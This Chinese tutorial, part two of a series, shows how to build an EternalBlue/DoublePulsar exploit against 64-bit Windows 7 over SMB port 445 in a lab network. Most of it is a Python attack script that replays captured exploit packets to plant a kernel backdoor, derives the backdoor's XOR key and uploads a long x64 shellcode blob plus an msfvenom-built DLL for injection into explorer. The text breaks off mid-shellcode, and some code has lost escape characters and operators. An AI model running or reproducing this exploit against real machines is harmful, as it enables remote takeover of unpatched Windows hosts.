EternalBlue之win7 64位exploit编写(二)

2017年08月05日原文

上节回顾

win7 三十二位的exploit是由两部分功能代码组成的,一个是安装后门(Eternalblue) ，另一个则是后门维持(Doublepulsar)

1.Win7三十二位与六十四位安装后门实际就是hook了ntdll!kiFastCallEntry。所以内核层函数的hook(后门安装)也是受内核版本影响

2.注入部分。没什么解释的，通常情况32位dll只能注入32位进程， 64位dll只能注入64位进程

想多了解些的可以读下15pb 赵神这篇 (关于32位和64位进程互读互写)

实验环境

网络环境: 局域网

攻击ip: 192.168.157.129(win7_x86)

靶机ip: 192.168.157.130(win7_x64)

工具: NSA的fb.py、wireshark、python、hex editor、

实验步骤

0x1: 一样的套路开wireshark监听port 445捕捉到Eternalblue的数据流

0x2: 捕捉Doubleplusar动作的数据流

在六十四位下和三十二位包的数量都是一样的,可能不同就在某个字段上。

0x3: 数据包处理

接着就用上节的脚本来把Eternalblue攻击的数据包序列化供给我们的python调用

接着就是手动去分析Doubleplusar 在六十四位和三十二位的不同，参考文章:

http://bobao.360.cn/learning/detail/4074.html

发现是signature字段

三十二位: xxxxxxxxx0xxxxxx

六十四位: xxxxxxxxx1xxxxxx

其他没什么问题。

0x4: exploit构造脚本

关于测试dll的生成:

kali-> msfvenom -p windows/x64/exec CMD="calc.exe" -f dll > /x64.dll

这样生成就可以, 上面我用Doublepuls注入的dll是用msf生的。注入哪个进程随你，脚本中默认是explorer。

测试dll要选择64位dll。否则可能出现蓝屏现象。

#!/usr/bin/python

# -*- coding: utf-8 -*-

import socket

import time

import ast

import binascii

import struct

HOST ='192.168.157.130'

PORT = 445

dllfile = "x64_calc.dll"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((HOST,PORT))

def Install_Backdoor():

backlog = open("eternalblue.replay").read().split("nn")

backlog = [ast.literal_eval(i) for i in backlog]

connections = []

start = time.time()

for i in backlog:

delta = i[-1] - (start - time.time())

print(i[0], delta)

if delta > 0:

time.sleep(delta)

start = time.time()

if i[0] == "connect":

sock = socket.socket()

sock.connect((HOST , PORT ))

connections.append({"socket":sock,"stream" : i[1]})

if i[0] == "close":

[j['socket'].close() for j in connections if j["stream"] == i[1]]

if i[0] == "send":

[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]

if i[0] == "recv":

[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]

def calculate_doublepulsar_xor_key(s):

"""Calaculate Doublepulsar Xor Key

"""

x = (2 * s ^ (((s & 0xff00 | (s 16)) 8) | (((s >> 16) | s & 0xff0000) >> 8)))

x = x & 0xffffffff # this line was added just to truncate to 32 bits

return x

def make_unicode_host(org_host):

host_len = len(org_host)

new_host = ""

for i in range(host_len):

new_host =new_host + "x00" + org_host[i]

return new_host

def get_smb_signature(smb_data):

print binascii.b2a_hex(smb_data[18:22])

return smb_data[18:22]

def get_key(smb_data):

smb_sign = struct.unpack(",get_smb_signature(smb_data))[0]

print "smb_sign:","0x%X"%(smb_sign)

int_key = calculate_doublepulsar_xor_key(smb_sign)

print "int_key:","0x%X"%(int_key)

key=struct.pack(",int_key)

print "key:",binascii.b2a_hex(key)

return key

def xor_data(org_data , key):

#异或加密

newdata = ""

for i in range(len(org_data)):

newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))

#print binascii.b2a_hex(newdata)

return newdata

def make_smb_request(send_data , key):

data_len = len(send_data)

array = []

ncount = data_len / 4096

if (data_len % 4096) > 0:

ncount += 1

make_data =""

for i in range(ncount):

if i -1:

smb_Length = struct.pack(">H",4096 +32 +34 + 12)

#print binascii.b2a_hex(smb_Length)

totalDataCount = struct.pack(",4096)

byteCount = struct.pack(",4096 + 13)

make_data = send_data[i*4096:(i+1)*4096]

else:

smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)

totalDataCount = struct.pack(",data_len - 4096*i)

byteCount = struct.pack(",data_len - 4096*i+ 13)

make_data = send_data[i*4096:]

netBIOS_header = "x00x00"+ smb_Length

smb_header = "xFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00"

transRequest_header = "x0Fx0Cx00"+ totalDataCount +"x01x00x00x00x00x00x00x00xF0xCCx0Cx00x00x00x0Cx00x42x00"+totalDataCount+"x4Ex00x01x00x0Ex00"+ byteCount +"x00"

data_index = struct.pack(">H",i*0x10)

data_header = "x00x2Cx00x00"+totalDataCount+"x00x00"+data_index+"x00x00"

#print "data_index:",binascii.b2a_hex(data_index)

#print "data_header:",binascii.b2a_hex(data_header)

#print len(data_header)

array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))

return array , ncount

if __name__ == "__main__":

#安装后门

Install_Backdoor()

print "------Install backdoor done!------"

#上传并执行dll

#smb 头是32字节请求包50字节，以下一行30字节

#smb版本

step_0_data ="x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"

s.sendall(step_0_data)

data = s.recv(1024)

print 0,data

#windows系统版本

step_1_data ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"

s.sendall(step_1_data)

data = s.recv(1024)

print 1,data

#对方ip地址 x.x.x.x 其中有2个字节与x86的不一致

str_ip = "xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x5ex00x08x00x01x00x33x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"

step_2_data ="x00x00x00"+chr(len(str_ip))+ str_ip

#print binascii.b2a_hex(step_2_data)

#print step_2_data

s.sendall(step_2_data)

data = s.recv(1024)

print 2,data

#验证得到signature

step_3_data ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x1Fx36xCEx00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"

s.sendall(step_3_data)

response = s.recv(1024)

print 3,response

print 3,binascii.b2a_hex(response)

key = get_key(response)

#shellcode+dll

kernel_shellcode ="x48x89xE0x66x83xE4xF0x41x57x41x56x41x55x41x54x53x51x52x55x57x56x50x50xE8xBCx06x00x00x48x89xC3x48xB9xDFx81x14x3Ex00x00x00x00xE8x26x05x00x00x48x85xC0x0Fx84x55x03x00x00x48x89x05x9Cx07x00x00x48xB9xBAx1Ex03xA0x00x00x00x00xE8x07x05x00x00x48x85xC0x0Fx84x36x03x00x00x48x89x05x85x07x00x00x48xB9x84x06xE7xF9xFFxFFxFFxFFxE8xE8x04x00x00x48x85xC0x0Fx84x17x03x00x00x48x89x05x6Ex07x00x00x48xB9x4FxFExEBx15x00x00x00x00xE8xC9x04x00x00x48x85xC0x0Fx84xF8x02x00x00x48x89x05x57x07x00x00x48xB9xF9x30xACxA4x00x00x00x00xE8xAAx04x00x00x48x85xC0x0Fx84xD9x02x00x00x48x89x05x40x07x00x00x48xB9xCAxBExD0xECx00x00x00x00xE8x8Bx04x00x00x48x85xC0x0Fx84xBAx02x00x00x48x89x05x29x07x00x00x48xB9xAExB8x9Fx5DxFFxFFxFFxFFxE8x6Cx04x00x00x48x85xC0x0Fx84x9Bx02x00x00x48x89x05x12x07x00x00x48xB9x94x01x69xE3xFFxFFxFFxFFxE8x4Dx04x00x00x48x85xC0x0Fx84x7Cx02x00x00x48x89x05xFBx06x00x00x48xB9xF6x10x00xB8xFFxFFxFFxFFxE8x2Ex04x00x00x48x85xC0x0Fx84x5Dx02x00x00x48x89x05xE4x06x00x00x48xB9xCAxD6x5FxD2xFFxFFxFFxFFxE8x0Fx04x00x00x48x85xC0x0Fx84x3Ex02x00x00x48x89x05xCDx06x00x00x48xB9x79xA8x24x11x00x00x00x00xE8xF0x03x00x00x48x85xC0x0Fx84x1Fx02x00x00x48x89x05xB6x06x00x00x48xB9x37xC6x90x4Fx00x00x00x00xE8xD1x03x00x00x48x85xC0x0Fx84x00x02x00x00x48x89x05x9Fx06x00x00x48xB9x6CxE7xFEx10x00x00x00x00xE8xB2x03x00x00x48x85xC0x0Fx84xE1x01x00x00x48x89x05x88x06x00x00xE8x4Fx03x00x00x8Bx05x85x06x00x00x85xC0x0Fx84xC7x01x00x00xE8xD9x01x00x00x48x85xC0x0Fx84xB9x01x00x00x4Cx8Dx0Dx94x06x00x00x41x8Bx09x51x51x6Ax40x68x00x10x00x00x4Dx31xC0x48x8Dx15xD2x05x00x00x48xB9xFFxFFxFFxFFxFFxFFxFFxFFx48x83xECx20xFFx15x06x06x00x00x48x83xC4x38x59x89x0Dx5Fx06x00x00x48x85xC0x0Fx85x22x01x00x00x48x8Dx35x57x06x00x00x48x8Bx3Dx9Cx05x00x00xF3xA4x80x3Dx2Fx06x00x00x01x74x05xE8x96x02x00x00x48x8Bx35x4Dx05x00x00x8Bx0Dx0Fx06x00x00x48x01xCEx48x89xF1x44x8Bx25x06x06x00x00x48x8Bx11x48x39xD6x0Fx84xDEx00x00x00x48x31xC0x8Bx05xDDx05x00x00x48x29xC2x51x52x48x89xD1x48x83xECx20xFFx15xC3x05x00x00x48x83xC4x20x5Ax59x48x85xC0x74x2Ex4Dx31xC9x44x8Bx0DxCEx05x00x00x4Ax8Bx04x08x48x85xC0x74x1Bx4Cx01xE2x80x3DxBFx05x00x00x01x74x07x80x3Ax01x74x0FxEBx08x8Bx02x0FxBAxE0x05x72x05x48x8Bx09xEBx9Bx4Cx29xE2x48x89x15x0Bx05x00x00x48xBAx90x00x00x00x00x00x00x00x48x31xC9x48x83xECx40xFFx15x3Cx05x00x00x48x83xC4x40x48x85xC0x74x5Bx48x89x05xECx04x00x00xC6x80x80x00x00x00xC3x48x31xC9x51x6Ax01xFFx35xC9x04x00x00x51x4Cx8Dx88x80x00x00x00x4Dx31xC0x48x8Bx15xBFx04x00x00x48x89xC1x48x83xECx20xFFx15x02x05x00x00x48x83xC4x40x4Dx31xC9x4Dx31xC0x48x31xD2x48x8Bx0DxA6x04x00x00x48x83xECx20xFFx15xECx04x00x00x48x83xC4x20x48x83xECx20x48x8Dx0Dx4Dx04x00x00xFFx15xAFx04x00x00x48x8Bx0Dx38x04x00x00xFFx15xAAx04x00x00x48x83xC4x20x48x31xC0x48x8Dx3Dx9AxFCxFFxFFx48xB9x70x03x00x00x00x00x00x00xF3xAAx48x8Dx3Dx2Ax00x00x00x48xB9xD3x04x00x00x00x00x00x00x48x03x0DxE4x04x00x00xF3xAAx58x58x5Ex5Fx5Dx5Ax59x5Bx41x5Cx41x5Dx41x5Ex41x5Fx48x89xC4x48x31xC0xC3x53x56x51x52x48xB9x08x00x00x00x00x00x00x00x51x48x8Dx15xD1x03x00x00x48x83xECx20xFFx15x17x04x00x00x48x83xC4x20x48x85xC0x0Fx85xDDx00x00x00x48x8Bx35xB3x03x00x00x48x31xDBx8Bx1Dx66x04x00x00x8Bx04x1Ex83xF8x02x0Fx8CxB0x00x00x00x48x89xF1x48x83xECx20xFFx15xE9x03x00x00x48x83xC4x20xE8x57x02x00x00x8Bx0Dx5Ax04x00x00x39xC8x0Fx85x8Cx00x00x00x48x8Dx15x7Bx03x00x00x48x89xF1x48x83xECx20xFFx15xC6x03x00x00x48x89xF1xFFx15xC5x03x00x00x48x83xC4x20x48x85xC0x74x49x48x31xDBx8Bx1Dx0Bx04x00x00x48x8Bx04x18x48x85xC0x74x37x48x31xC9x8Bx1DxFDx03x00x00x66x8Bx0Cx18x48x8Bx44x18x08x48x85xC0x74x20x48x31xDBx8Bx1Dx02x04x00x00x48x29xD9x7Cx12x48x01xC8xE8x2Bx02x00x00x8Bx0DxEBx03x00x00x39xC8x74x3Fx31xC0x89x05x03x03x00x00x48x8Dx0Dx04x03x00x00x48x83xECx20xFFx15x62x03x00x00x48x83xC4x20x48x89xF1x48x83xECx20xFFx15x59x03x00x00x48x83xC4x20x59x81xF9x00x00x01x00x7Fx0Ex83xC1x04xE9xF3xFExFFxFFx59x48x89xF0xEBx03x48x31xC0x5Ax59x5Ex5BxC3x48x8Bx35xB7x02x00x00x8Bx0Dx79x03x00x00x48x01xCEx48x8Bx16x8Bx05x5Dx03x00x00x48x29xC2x48x31xC0x48xFFxC8x48xC1xE0x2Cx48x8Bx12x48x39xC2x72x0BxB8xE8x03x00x00x89x05x3Dx03x00x00xC3x56x51x52x48x83xECx20xFFx15x1Fx03x00x00x48x89xC6x8Bx05x36x03x00x00x48x01xC6xFFx15x05x03x00x00x48x89xF1x48x39xF0x77x17x48x8Dx90x00x05x00x00x48x39xF2x72x0Bx48x29xC6x89x35x00x03x00x00xEBx08x48x8Bx36x48x39xCEx75xDCx48x83xC4x20x5Ax59x5ExC3x53x52x51x55x48x89xE5x48x81xECx00x01x00x00x57x48x89xCFx48x89xD8x48x89x85x00xFFxFFxFFxE8xBBx00x00x00x48x89x85x08xFFxFFxFFxE8x48x01x00x00x48x89x85x10xFFxFFxFFx48x8Bx85x00xFFxFFxFFx48x8Bx8Dx08xFFxFFxFFxE8x9Ax01x00x00x48x89x85x18xFFxFFxFFx48x8Bx85x00xFFxFFxFFx48x8Bx8Dx08xFFxFFxFFxE8x8Fx01x00x00x48x89x85x20xFFxFFxFFx48x8Bx85x00xFFxFFxFFx48x8Bx8Dx08xFFxFFxFFxE8x84x01x00x00x48x89x85x28xFFxFFxFFx48x8Bx85x00xFFxFFxFFx48x89xF9x48x8Bx95x20xFFxFFxFFx48x8Bx9Dx10xFFxFFxFFxE8x0Fx01x00x00x48x89x85x30xFFxFFxFFx48x8Bx85x28xFFxFFxFFx48x8Bx8Dx30xFFxFFxFFxE8x55x01x00x00x66x89xC2x48x8Bx85x00xFFxFFxFFx48x8Bx8Dx18xFFxFFxFFxE8x49x01x00x00x5Fx48x81xC4x00x01x00x00x5Dx59x5Ax5BxC3x56x57x48x31xF6x8Bx70x3Cx48x01xC6x66x81x3Ex50x45x75x12x48x81xC6x88x00x00x00x48x31xFFx8Bx3Ex48x01xF8x5Fx5ExC3x48x31xC0xEBxF8x56x51x57x48x89xC6x48x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74x07x01xC8x48xFFxC6xEBxE7x5Fx59x5ExC3x56x57x52x48x89xC6x48x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xD2x8Ax16x01xD0x48xFFxC6xE2xECx5Ax5Fx5ExC3x56x51x57x48x89xC6x48x31xC0x89xC7xC1xE7x07x29xC7x89xF8x31xC9x8Ax0Ex80xF9x00x74x0Ax01xC8x48xFFxC6x48xFFxC6xEBxE4x5Fx59x5ExC3x56x48x89xC6x48x83xC6x18x48x31xC0x8Bx06x5ExC3x53x65x48x8Bx04x25x38x00x00x00x48x8Bx40x04x48xC1xE8x0Cx48xC1xE0x0Cx48x8Bx18x66x81xFBx4Dx5Ax74x08x48x2Dx00x10x00x00xEBxEEx5BxC3x57x56x51x48x31xFFx48x89xC6x48x31xC0x8Bx04xBAx48x01xF0xE8x40xFFxFFxFFx39xC8x74x0Ex48xFFxC7x48x39xDFx74x0BxEBxE4x59x5Ex5FxC3x48x89xF8xEBxF7x48x31xC0xEBxF2x56x48x89xC6x48x31xC0x8Bx41x1Cx48x01xF0x5ExC3x56x48x89xC6x48x31xC0x8Bx41x20x48x01xF0x5ExC3x56x48x89xC6x48x31xC0x8Bx41x24x48x01xF0x5ExC3x48xD1xE1x48x01xC8x66x8Bx00xC3x48x81xCAx00x00xFFxFFx48x81xF2x00x00xFFxFFx48xC1xE2x02x48x01xD1x48x31xD2x8Bx11x48x01xD0xC3x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x28x03x00x00x20x00x00x00x70x00x00x00x08x03x00x00x4Cx00x00x00xC8x02x00x00x01x00x00x00xBDxA2x37x83x00x00x00x00x00x00x00x00x8Ax23x00x00x00x00x00x00x53x55x57x56x41x54x41x55x41x56x41x57x48x89xE0x48x89xE1x48x83xE1x08x48x29xCCx48x81xECx00x04x00x00xE8x00x00x00x00x5Dx48x89xE6x48x89x06x48x81xECx00x04x00x00x48x8Dx3DxD2x0Ex00x00x49x89xF0x48x83xC6x08x48x31xC9x8Ax0Fx84xC9x74x3Fx48xFFxC7x8Bx0Fx48x83xC7x04x8Bx17x48x83xC7x04x84xD2x74x2CxE8xD4x0Dx00x00x51x0FxB6x0Fx48x85xC9x59x75x09x48x85xC0x0Fx84xB9x0Dx00x00x48x89x06x48x83xC6x08x30xC0x48x83xC7x01x3Ax47x04x74xCCxEBxB8x4Cx89xC6x48x89x25x3Dx0Dx00x00x48x89x2Dx3Ex0Dx00x00x48x89x35x3Fx0Dx00x00x90xE8x00x00x00x00x59x4Dx31xC9x49x89xC8x48x31xD2xB2x01x48x8Dx0Dx2Ex0Dx00x00x48x83xECx20xFFx56x38x48x83xC4x20x49xB9x40x00x00x00x00x00x00x00x49xB8x00x30x00x00x00x00x00x00x48x31xD2x8Bx95x5Dx0Fx00x00x48x31xC9x48x83xECx20xFFx56x08x48x83xC4x20x48x85xC0x0Fx84xCFx0Cx00x00x48x89xC3x56x8Bx8Dx5Dx0Fx00x00x48x8Dx35x80x0Ex00x00x48x89xDFxF3xA4x5Ex48x89x5Ex48x48x31xC0x8Bx85x5Dx0Fx00x00x48x89x46x50x48x31xC9x8Bx8Dx5Dx0Fx00x00x48x8Dx3Dx59x0Ex00x00x31xC0xF3xAAx48x31xC0x48x89x46x58x48x89x46x60x48x89x46x68x48x8Dx05x77x09x00x00x48x89x05xC4x02x00x00x48x8Dx05x71x09x00x00x48x89x05xBEx02x00x00x48x8Dx05x78x09x00x00x48x89x05xB8x02x00x00x48x8Dx05x86x09x00x00x48x89x05xB2x02x00x00x48x8Dx05xA7x08x00x00x48x89x05xACx02x00x00x55x48x8Dx2DxD6x01x00x00x48x8Bx7Ex48xE8xA3x02x00x00x48x85xC0x0Fx85x13x01x00x00xE8x1Ax03x00x00x48x85xC0x0Fx84x05x01x00x00x48x89x45x20x48x8Bx7Dx08x48x83xC7x30x48x8Bx3Fx48x8Bx45x20x48x29xF8x48x89x45x28xE8x64x03x00x00x48x85xC0x0Fx85xDDx00x00x00xE8xE6x03x00x00x48x85xC0x0Fx85xCFx00x00x00xE8x4Ex05x00x00x48x85xC0x0Fx85xC1x00x00x00xE8x57x05x00x00x48x85xC0x0Fx85xB3x00x00x00xE8x57x06x00x00x48x85xC0x0Fx85xA5x00x00x00xE8xBAx06x00x00x48x85xC0x0Fx85x97x00x00x00xE8xC6x07x00x00x48x85xC0x0Fx85x89x00x00x00x48x8Bx45x20x48x89x46x70x48x8Bx45x18x48x89x46x78x5Dx8Bx85x61x0Fx00x00x89x86x80x00x00x00x48x8Bx56x70x48x63x42x3Cx48x8Dx9Cx10x88x00x00x00x48x85xDBx74x48x8Bx1Bx48x01xD3x83x7Bx14x00x74x3Dx8BxBEx80x00x00x00x2Bx7Bx10x3Bx7Bx14x7Fx2Fx8Bx4Bx1Cx48x01xD1x8Bx04xB9x48x01xD0x48x83xECx20x4Cx8Bx46x50x48x8Bx56x48x48xB9x02x00x00x00x00x00x00x00xFFxD0x48x83xC4x20x48x89x86x88x00x00x00x55x48x8Dx2DxB8x00x00x00xE8x28x07x00x00xEBx00x48x8Bx4Dx78x48x85xC9x74x0Bx48x83xECx20xFFx56x40x48x83xC4x20x48x8Bx7Dx20x48x85xFFx0Fx84x8Ax00x00x00x4Cx8Dx8DxAAx00x00x00x49xB8x40x00x00x00x00x00x00x00x48x8Bx55x50x48x8Bx4Dx20x48x83xECx20xFFx56x30x48x83xC4x20x48x85xC0x74x09x48x8Bx4Dx50x48x31xC0xF3xAAx49xB8x00x80x00x00x00x00x00x00x48xBAx00x00x00x00x00x00x00x00x48x8Bx4Dx20x48x83xECx20xFFx56x10x48x83xC4x20x48x8Bx7Dx60x48x85xFFx74x2Cx48x8Bx4Dx68x48x31xC0xF3xAAx49xB8x00x80x00x00x00x00x00x00x48xBAx00x00x00x00x00x00x00x00x48x8Bx4Dx60x48x83xECx20xFFx56x10x48x83xC4x20x5DxE9x60x0Ax00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x48xB8xFFxFFxFFxFFxFFxFFxFFxFFxE9x2ExFCxFFxFFx6Dx73x76x63x72x74x2Ex64x6Cx6Cx00x6Dx73x76x63x72x74x64x2Ex64x6Cx6Cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x57x52x53x48x89x7Dx00x48x89xFAx48x83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax75x63x48x89xFAx48x83xC2x3Cx48x31xDBx8Bx1Ax48x01xDFx48x89x7Dx08x48x89xFAx48x83xC2x00x8Bx1Ax81xFBx50x45x00x00x75x3Fx48x89xFAx48x83xC2x18x66x8Bx1Ax66x81xFBx0Bx02x75x2Ex48x89xFAx48x83xC2x14x48x31xDBx66x8Bx1Ax48x89xFAx48x83xC2x18x48x01xDAx48x89x55x10x48x89xFAx48x81xC2x88x00x00x00x48x89x55x18x48x31xC0xEBx06x48x31xC0x48xF7xD0x5Bx5Ax5FxC3x57x52x53x48x8Bx7Dx08x48x83xC7x50x48x31xDBx8Bx1Fx48x89x5Dx50x48x8Bx7Dx08x48x83xC7x30x48x8Bx17x49xB9x40x00x00x00x00x00x00x00x49xB8x00x30x00x00x00x00x00x00x48x89xD1x48x89xDAx48x83xECx20xFFx56x08x48x83xC4x20x48x85xC0x75x25x49xB9x40x00x00x00x00x00x00x00x49xB8x00x30x00x00x00x00x00x00x48x89xDAx48x31xC9x48x83xECx20xFFx56x08x48x83xC4x20x5Bx5Ax5FxC3x57x52x53x51x56x48x8Bx76x48x48x8Bx7Dx20x48x8Bx5Dx08x48x83xC3x54x48x31xC9x8Bx0BxF3xA4x5Ex48x8Bx7Dx08x48x83xC7x06x48x31xDBx66x8Bx1Fx48x31xD2x48x39xD3x74x4Dx48xB8x28x00x00x00x00x00x00x00x52x48xF7xE2x5Ax48x03x45x10x56x48x8Bx76x48x48x89xC1x48x83xC1x14x4Dx31xD2x44x8Bx11x4Cx01xD6x48x8Bx7Dx20x48x89xC1x48x83xC1x0Cx4Dx31xD2x44x8Bx11x4Cx01xD7x48x83xC0x10x48x31xC9x8Bx08xF3xA4x5Ex48xFFxC2xEBxAEx48x31xC0xEBx06x48x31xC0x48xF7xD0x59x5Bx5Ax5FxC3x57x52x53x51x48x8Bx7Dx20xE8x6CxFExFFxFFx48x85xC0x0Fx85x50x01x00x00xE8x1Fx05x00x00x48x85xC0x0Fx85x42x01x00x00x48x8Bx7Dx00x48xB8x08x00x00x00x00x00x00x00x48xBAx01x00x00x00x00x00x00x00x48xF7xE2x48x8Bx55x18x48x01xC2x48x83xC2x00x48x31xDBx8Bx1Ax48x01xFBx48x89x5Dx30x48x39xFBx0Fx84x0Fx01x00x00x49x89xDAx49x83xC2x10x48x31xC0x41x8Bx02x48x85xC0x0Fx84xF9x00x00x00x48x8Bx45x00x48x89xDAx48x83xC2x0Cx4Dx31xD2x44x8Bx12x4Cx01xD0x48x89xC1x48x83xECx20xFFx56x18x48x83xC4x20x48x85xC0x0Fx84xC6x00x00x00x48x89x45x48x48x89xDAx48x83xC2x00x48x8Bx7Dx00x4Dx31xD2x44x8Bx12x4Cx01xD7x48x89x7Dx38x48x89xDAx48x83xC2x10x48x8Bx7Dx00x4Dx31xD2x44x8Bx12x4Cx01xD7x48x89x7Dx40x48x8Bx55x38x48x8Bx12x48x85xD2x74x7Dx48x89xD7x49xBAx00x00x00x00x00x00x00x80x4Cx21xD7x74x0Cx48x89xD7x48x81xE7xFFxFFx00x00xEBx0Bx48x8Bx7Dx00x48x01xD7x48x83xC7x02x48x89xFAx48x8Bx4Dx48x48x83xECx20xFFx56x20x48x83xC4x20x48x85xC0x74x46x48x8Bx55x40x48x89x02xE8x07x06x00x00x48x85xC0x74x0FxE8x97x05x00x00x48x85xC0x75x05xE8xF0x04x00x00x48x8Bx55x38x48x83xC2x08x48x89x55x38x48x8Bx55x40x48x83xC2x08x48x89x55x40xE9x77xFFxFFxFFx48x83xC3x14xE9xF9xFExFFxFFx48x31xC0x48xF7xD0xEBx03x48x31xC0x59x5Bx5Ax5FxC3x57x52x48x8Bx7Dx08x48x83xC7x30x48x8Bx55x20x48x89x17x48x31xC0x5Ax5FxC3x57x52x53x51x48x8Bx55x28x48x85xD2x0Fx84xF5x00x00x00x48xB8x08x00x00x00x00x00x00x00x48xBAx05x00x00x00x00x00x00x00x48xF7xE2x48x8Bx55x18x48x01xC2x49x89xD2x49x83xC2x04x48x31xFFx41x8Bx3Ax48x85xFFx0Fx84xC1x00x00x00x49x89xD2x49x83xC2x00x48x31xFFx41x8Bx3Ax48x85xFFx0Fx84xA3x00x00x00x48x8Bx55x20x48x01xFAx49x89xD2x49x83xC2x04x41x8Bx3Ax48x85xFFx0Fx84x91x00x00x00x48x83xEFx08x48xD1xEFx48x31xC9x48x39xF9x74x65x48x89xD3x48x83xC3x08x48x89xC8x48xD1xE0x48x01xC3x48xC7x45x58x00x00x00x00x66x8Bx03x66x25x00xF0x66xC1xE8x0Cx66x83xF8x00x74x37x66x83xF8x03x74x06x66x83xF8x0Ax75x2Bx49x89xD2x49x83xC2x00x41x8Bx02x48x89x45x58x48x31xC0x66x8Bx03x66x25xFFx0Fx48x01x45x58x48x8Bx45x20x48x03x45x58x48x8Bx5Dx28x48x01x18x48xFFxC1xEBx96x49x89xD2x49x83xC2x04x48x31xFFx41x8Bx3Ax48x01xFAxE9x64xFFxFFxFFx48x31xC0x48xF7xD0xEBx03x48x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x48xB8x08x00x00x00x00x00x00x00x48xBAx03x00x00x00x00x00x00x00x48xF7xE2x48x8Bx55x18x48x01xC2x48x89xD1x48x83xC1x04x48x31xC0x8Bx01x48x85xC0x74x36x48x89xD1x48x83xC1x00x48x31xFFx8Bx39x48x85xFFx74x25x48x8Bx4Dx20x49x89xC8x48x01xF9x48x89x4Dx78x48x31xD2xBFx0Cx00x00x00xF7xF7x89xC2x48x83xECx20xFFx56x38x48x83xC4x20x48x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x48x8Bx7Dx08x48x83xC7x06x48x31xDBx66x8Bx1Fx48x31xD2x48x39xD3x0Fx84xE6x00x00x00x48xB8x28x00x00x00x00x00x00x00x52x48xF7xE2x5Ax48x03x45x10x49x89xC2x49x83xC2x24x48x31xFFx41x8Bx3AxC7x85xA6x00x00x00x00x00x00x00x48xF7xC7x00x00x00x02x0Fx85x9Fx00x00x00x48xF7xC7x00x00x00x40x74x0AxC7x85xA6x00x00x00x02x00x00x00x49xBAx00x00x00x80x00x00x00x00x4Cx85xD7x74x0AxC7x85xA6x00x00x00x04x00x00x00x48xF7xC7x00x00x00x20x74x26x83xBDxA6x00x00x00x02x75x0AxC7x85xA6x00x00x00x20x00x00x00x83xBDxA6x00x00x00x04x75x0AxC7x85xA6x00x00x00x40x00x00x00x48x8Bx7Dx20x48x89xC1x48x83xC1x0Cx4Dx31xD2x44x8Bx11x4Cx01xD7x49x89xC2x49x83xC2x08x41x8Bx0Ax52x4Cx8Dx8DxAAx00x00x00x4Cx8Bx85xA6x00x00x00x48x89xCAx48x89xF9x